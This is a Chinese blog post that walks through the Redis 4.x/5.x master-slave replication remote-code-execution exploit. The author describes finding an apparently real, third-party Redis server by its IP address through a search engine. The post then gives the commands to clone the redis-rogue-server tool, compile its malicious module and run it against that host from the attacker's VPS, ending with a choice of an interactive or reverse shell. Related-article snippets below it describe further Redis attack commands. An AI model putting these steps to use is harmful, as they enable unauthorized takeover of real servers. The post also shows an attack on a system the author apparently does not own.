redis4.x/5.x 基于主从复制 RCE 复现

最新推荐文章于 2024-05-28 15:44:55 发布
最新推荐文章于 2024-05-28 15:44:55 发布
阅读量444 收藏 1
点赞数 1
分类专栏： 漏洞复现 文章标签： redis rce 主从复制
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sojrs_sec/article/details/101775906
版权

环境准备

这里我通过zoomeye找到一台服务器34.70.67.23，上面开了redis4.0.6服务
准备exp 自己的vps 1.1.1.1

git clone https://github.com/n0b0dyCN/redis-rogue-server

编译exp.so

cd /root/redis/redis-rogue-server/RedisModulesSDK/exp
make
cp exp.so /root/redis/redis-rogue-server/exp.so

执行

python3 redis-rogue-server.py --rhost 34.70.67.23 --lhost 1.1.1.1

在这里插入图片描述
可以选择交互的方式或者反弹shell方式

sojrs_sec
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
redis6.x视频教程下载
08-01
- **主从复制**：主节点的数据会自动同步到从节点，实现数据备份和负载均衡。 - **事务（Transactions）**：Redis 支持原子性的事务操作，一组命令可以作为一个整体执行。 - **Lua 脚本**：用户可以通过 Lua 脚本...
Redis主从复制实现RCE
rev1ve的博客
12-01 2376
主从复制是指将一台Redis主服务器的数据，复制到其他的Redis从服务器。前者称为主节点(master)，后者称为从节点(slave)；主服务器可以进行读写操作，当发生写操作时自动将写操作同步给从服务器，而从服务器一般是只读，并接受主服务器同步过来写操作命令，然后执行这条命令。 也就是说，所有的数据修改只在主服务器上进行，然后将最新的数据同步给从服务器，这样就使得主从服务器的数据是一致的。建立主从复制，有3种方式：PS：建立主从关系只需要在从节点操作就行了，主节点不用任何操作我们先在同一个机器开两个red
Redis主从漏洞和远程连接漏洞
LeeZbug的博客
02-16 3737
主从复制漏洞： 参考文章：Redis主从复制getshell技巧 - Bypass - 博客园 1.so和rce文件下载：GitHub - LeeZBug/redis-rce: Redis 4.x/5.x RCE 下载后安装所需要的python库，pip install -r requirement.txt 2.运行rce python redis-rce.py -r [target_ip] -L [attack_ip] -a [redis_require_password] -f module
Redis漏洞总结
最新发布
白帽子佳奇的博客
05-28 1162
redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。
redis主从复制
weixin_63231007的博客
02-28 1744
redis主从复制原理以及简单演示(环境真难搭)
Redis进行RCE利用总结
weixin_50464560的博客
11-07 1968
百度百科：Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。连接到redis，输入以下指令利用crontab反弹shell。Redis因配置不当可导致攻击者直接获取到服务器的权限。倘若服务器运行着LAMP/LNMP服务，且已知工作目录为。kali中打开一个新的命令行窗口执行。
一文清晰带你认识redis漏洞
逍遥小哥的博客
02-01 1584
主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Reids 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。数据持久化：Redis提供持久化功能，可以将数据保存到磁盘上，以防止数据丢失。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
Redis3.x和Redis4.x的Windows版.zip
06-16
在Windows环境下安装Redis，通常需要下载预编译的二进制文件，解压后配置`redis.conf`文件，根据需求设置端口、日志级别、持久化方式等参数。启动服务可以使用`redis-server.exe`命令。同时，Windows版Redis提供了`...
Redis 7.0.4 x64位 windows 系统 安装包 Redis7.0.4.zip
09-07
二、修改Redis永久密码，打开redis.conf文件，查找requirepass，修改requirepass空格后面的默认密码20220906 亲自用redis-7.0.4.tar.gz打包成的windows 64位系统安装包，测试可用，详细使用参考Readme.txt说明文件
redis漏洞利用总结
good good study
10-17 6478
redis属于非关系型数据库，在开启后默认监听端口为6379。若Redis配置不当可导致攻击者直接获取到服务器的权限。利用条件：redis以root身份运行，存在未授权访问，弱口令或者口令泄露等主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。Redis的持久化使得机器即使重启数据也不会丢失，因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。
Redis基于主从复制的RCE
m0_58596609的博客
10-13 2476
Redis基于主从复制的RCE
红队攻防实战之Redis-RCE集锦
自强不息
12-08 653
心若有所向往，何惧道阻且长
Redis未授权访问利用合集
em.....
07-07 843
微信公众号：小惜渗透，欢迎大佬一起交流进步正常redis默认情况下，会绑定在0.0.0.0:6379，如果没有限制来源IP并且甚至没有密码，那么就会导致攻击者非法访问，并读取Redis的数据，还可以利用自身config命令进行写入操作，攻击者可将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys中，进而直接使用对应私钥登录目标服务器。搭建环境： 将这行绑定本地加上注释（还可以改成0.0.0.0）将保护模式关闭保存，然后启动redis服务 切记别忘了关防火墙在/roo
Redis系列漏洞总结
NLost
10-21 6356
未授权访问;redis写入webshell;redis写入ssh公钥登录;写入计划任务反弹shell;主从复制rce;什么是主从复制;ssrf+redis写入webshell;Redis Lua 沙盒绕过rce
Redis沙盒逃逸漏洞 RCE（CVE-2022-0543）复现+getshell
xiaobai_20190815的博客
03-09 1020
Redis沙盒逃逸漏洞 RCE（CVE-2022-0543）复现+getshell
渗透测试之地基服务篇：服务攻防之数据库Redis（下）
wangluoanquan111的博客
08-01 329
渗透测试-地基篇该篇章目的是重新牢固地基，加强每日训练操作的笔记，在记录地基笔记中会有很多跳跃性思维的操作和方式方法，望大家能共同加油学到东西。请注意本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用KaliLinux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。名言：你对这行的兴趣，决定你在这行的成就！
Redis漏洞复现——Redis 4.x/5.x 未授权访问漏洞
Aquarius_ego的博客
03-30 4517
Redis 4.x/5.x 未授权访问漏洞复现
Redis漏洞利用的4种方法
qq_50854662的博客
05-13 4583
Redis简介 redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更
【渗透测试】redis漏洞利用
网络安全从业者的学习笔记
03-16 1381
redis是一个key-value存储系统，在诸多版本中存在一系列的漏洞，对漏洞进行复现：写入Webshell、写入定时任务、主从复制命令执行、如何通过利用SSRF结合gopher、dict协议打redis。切勿利用漏洞非法获取数据
给这段配置文件添加注释services: ruoyi-redis: container_name: ruoyi-redis image: redis build: context: ./redis ports: - "9063:6379" volumes: - ./redis/conf/redis.conf:/home/ruoyi/redis/redis.conf - ./redis/data:/data command: redis-server /home/ruoyi/redis/redis.conf
06-09
- ./redis/conf/redis.conf:/home/ruoyi/redis/redis.conf # Redis配置文件映射 - ./redis/data:/data # Redis数据目录映射 command: redis-server /home/ruoyi/redis/redis.conf # 启动Redis服务的命令 ``` ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值